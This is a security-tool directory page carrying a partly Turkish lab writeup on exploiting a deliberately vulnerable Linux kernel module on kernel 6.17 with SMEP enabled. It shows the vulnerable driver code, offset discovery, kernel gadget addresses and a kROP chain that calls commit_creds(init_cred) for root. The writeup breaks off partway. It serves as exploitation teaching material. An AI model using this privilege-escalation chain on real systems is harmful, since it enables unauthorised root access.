Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/exploitbey/kernel-krop-smep-bypass
Privilege EscalationMemory ForensicsExploitationReverse EngineeringShellcodeDebuggersPapers & ResearchLearning & EducationPayload Development
Share
Binary Exploitation
GitHubexploitbey/kernel-krop-smep-bypass

kernel-krop-smep-bypass

Linux Kernel 6.17 Stack Overflow - SMEP Bypass via kROP (Turkce Writeup)

View Repository
5h 49m agoNot yet reviewed

Linux Kernel 6.17 — SMEP Bypass with Stack Overflow: The kROP Technique

Author: expo
Repo: https://github.com/exploitbey/kernel-krop-smep-bypass

This writeup examines how to exploit a kernel stack overflow vulnerability on Linux kernel 6.17.0-5-generic with SMEP and SMAP enabled. The classic ret2user method is ineffective against this protection. As an alternative, a Kernel ROP (kROP) chain is used.

Other protections (KASLR, KPTI, shadow stack, stack canary) are disabled in this environment; the focus is solely on the SMEP bypass technique.


First, Let's Get to Know the Protection: What Is SMEP?

SMEP (Supervisor Mode Execution Prevention) is a processor-level protection. The kernel cannot execute code in memory pages belonging to user space. In other words, when you write shellcode into a user buffer and redirect the kernel there, the CPU stops you immediately.

This is why classic ret2user is dead.

You can verify from GDB that SMEP and SMAP are enabled:

info register cr4

If the value is 0x372ef0, convert it to binary and look at the bits:

0x372ef0 → 0011 0111 0010 1110 1111 0000

Right to left, starting from index 0:

Bit groupRangeMeaning
00000–3—
11114–7Bit 5=PAE, Bit 7=PGE
11108–11Bit 9=OSFXSR, Bit 10=OSXMMEXCPT
001012–15Bit 13=VMXE
011116–19Bit 16=FSGSBASE, Bit 17=PCIDE, Bit 18=OSXSAVE
001120–23Bit 20=SMEP ✓, Bit 21=SMAP ✓

Bit 20 set → SMEP active. The CPU blocks code execution on Ring 3 pages from Ring 0.

One note: Starting with kernel 5.16, the CR4 register is "pinned". Previously, the SMEP bit could be cleared with gadgets like mov cr4, rax. That door is now closed. But this doesn't matter because we won't touch CR4 at all.


Lab Environment

  • Host: Kali Linux 2025.4
  • Guest: Lubuntu 25.10, kernel 6.17.0-5-generic (on QEMU)

vmlinuz must be copied from the guest to the host. After copying, convert it to vmlinux_raw:

./extract-vmlinux vmlinuz > vmlinux_raw

Script: https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux

Requirements

  1. The kernel must be exactly 6.17.0-5-generic (on a different minor version the binary changes and the gadget addresses do not match)
  2. SMEP and SMAP must be enabled
  3. KASLR, KPTI, shadow stack, and stack canary must be disabled

The GRUB line in the guest:

GRUB_CMDLINE_LINUX_DEFAULT="nokaslr nopti ima_appraise=off ima_policy=tcb shstk=off"

QEMU launch command:

qemu-system-x86_64 \
  -m 4G \
  -enable-kvm \
  -cpu host \
  -drive file=lubuntu25.10-disk.qcow2,format=qcow2 \
  -vga qxl \
  -device virtio-serial-pci \
  -device virtserialport,chardev=spicechannel0,name=com.redhat.spice.0 \
  -chardev spicevmc,id=spicechannel0,name=vdagent \
  -display spice-app \
  -net nic -net user \
  -usb -usbdevice tablet \
  -vga virtio \
  -s -S

Start GDB on the host while the system is booting:

gdb ./vmlinux_raw
# ardından: continue

Vulnerable LKM

Source: rop.c

__attribute__((optimize(0)))
static ssize_t device_write(struct file *file, const char __user *buf,
                            size_t count, loff_t *ppos) {
    char tampon[64];
    // ZAFIYET: count kontrolsüz — 64+ byte gelince stack overflow
    if (_copy_from_user(tampon, buf, count)) {
        return -EFAULT;
    }
    return count;
}

Buffer is a fixed 64 bytes. _copy_from_user never checks how many bytes are being copied. Sending even 65 bytes from the user space is enough; the kernel stack begins to be corrupted.

Exploitation entry point: /dev/vuln_device

Compilation and Loading

sudo su
make          # stack canary kapalı (Makefile'da -fno-stack-protector)
insmod rop.ko

Ardından rop.ko'ı host'a kopyalayın (GDB için sembol bilgisi gerekiyor).


Stack Frame

x64 çağrı kuralı: ilk argüman RDI, ikinci RSI, üçüncü RDX, dördüncü RCX.

device_write çağrıldığında kernel stack'te dönüş adresi rbp+8 konumundadır. Hedefimiz bu adresi kontrol altına almak.


Sömürü

Adım 1: Offset Tespiti

LKM debug sembolleriyle derlendi, bu yüzden GDB ile düzgün takip edeceğiz.

Guest'te modül adreslerine bakın:

cat /proc/modules | grep rop
# rop 12288 0 - Live 0xffffffffc092f000 (OE)

cat /sys/module/rop/sections/.text   # 0xffffffffc092f000
cat /sys/module/rop/sections/.data   # 0xffffffffc0a15020
cat /sys/module/rop/sections/.bss    # 0xffffffffc0a15640

Press Ctrl+C on the host GDB, load the symbols:

add-symbol-file /path/to/rop.ko
0xffffffffc092f000 -s .data 0xffffffffc0a15020 -s .bss 0xffffffffc0a15640

Breakpoint before and after _copy_from_user:

b *0xffffffffc092f059
b *0xffffffffc092f05e
continue

Create an 88-byte pattern with Metasploit:

msf-pattern_create -l 88

Save the pattern as payload.txt, send it with find_offset:

gcc -o find_offset find_offset.c
./find_offset payload.txt

It will stop at the kernel breakpoint. Note the contents of rbp+8 in GDB. At the second breakpoint, you will see that rbp+8 is filled with the pattern.

Calculate the offset on the host:

msf-pattern_offset -q 6341356341346341 -l 88
# [*] Exact match at offset 72

The return address is written starting from byte 72.


Step 2: ROP Payload

Why can ROP bypass SMEP? Because ROP uses code that already exists in the kernel's own .text region. It does not execute new code. It never touches user memory. SMEP cannot see this.

Save State

Save the user space registers before iretq:

__asm__ volatile (
    ".intel_syntax noprefix;"
    "mov user_cs,     cs;"
    "mov user_ss,     ss;"
    "mov user_sp,     rsp;"
    "pushf;"
    "pop user_rflags;"
    ".att_syntax;"
    ::: "memory"
);

"memory" clobber critique: if GCC caches these values, the iretq frame will be corrupted.

Gadget Chain

payload[i++] = POP_RDI_RET;    // pop rdi ; ret
payload[i++] = INIT_CRED;      // → rdi = &init_cred (root kimlik bilgisi)
payload[i++] = COMMIT_CREDS;   // commit_creds(init_cred) → process root oldu
payload[i++] = SWAPGS_RESTORE; // swapgs → iretq'ya yönlendir

Why is there no prepare_kernel_cred? In Kernel 6.17, a clean register transfer gadget like mov rdi, rax ; ret could not be found. init_cred is already a static address, and pop rdi; ret is sufficient. The payload also stays small: 144 bytes.

Gadget addresses:

commit_creds and init_cred:

cat /proc/kallsyms | grep commit_creds
# ffffffff8145b390 T commit_creds

cat /proc/kallsyms | grep init_cred
# ffffffff8388b860 T init_cred

pop rdi ; ret → opcode \x5f\xc3

.text range:

Başlangıç : 0xffffffff81000000
Boyut      : 0x1637970
Bitiş      : 0xffffffff82637970
python3 find_opcode.py vmlinux_raw 5fc3

Verify the first result 0xffffffff812582bd → in GDB with x/3i 0xffffffff812582bd. Clean pop rdi; ret array.

swapgs + iretq → opcodes: 0x0F 0x01 0xF8 and 0x48 0xCF

python3 find_swapgs.py vmlinux_raw

The script returns two candidates. 0xffffffff81001866 contains too many pops, which corrupts the stack. Examine 0xffffffff8100118f:

0xffffffff8100118f: swapgs
0xffffffff81001192: verw WORD PTR [rip+...]   ← ZF'yi etkiler, GPR'ları bozmaz
0xffffffff81001199: test BYTE PTR [rsp+0x8], 0x3
0xffffffff8100119e: jne  0xffffffff81001241

At the point it skipped:

0xffffffff81001241: test BYTE PTR [rsp+0x20], 0x4
0xffffffff81001246: jne  0xffffffff8100124a
0xffffffff81001248: iretq

Why does this flow work? user_cs = 0x33, user_ss = 0x2b:

test [rsp+0x8],  0x3  → 0x33 AND 0x03 = 0x03 → ZF=0 → jne çalışır → 0x81001241'e atlar
test [rsp+0x20], 0x4  → 0x2b AND 0x04 = 0x00 → ZF=1 → jne çalışmaz → iretq çalışır

iretq takes from the stack in order:

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    627
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    413
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    350
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    329
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    AI powered OSINT engine to discover and map 7,700+ social media identities across the web

    283

Explore all tools

Browse our collection of tools

View all tools →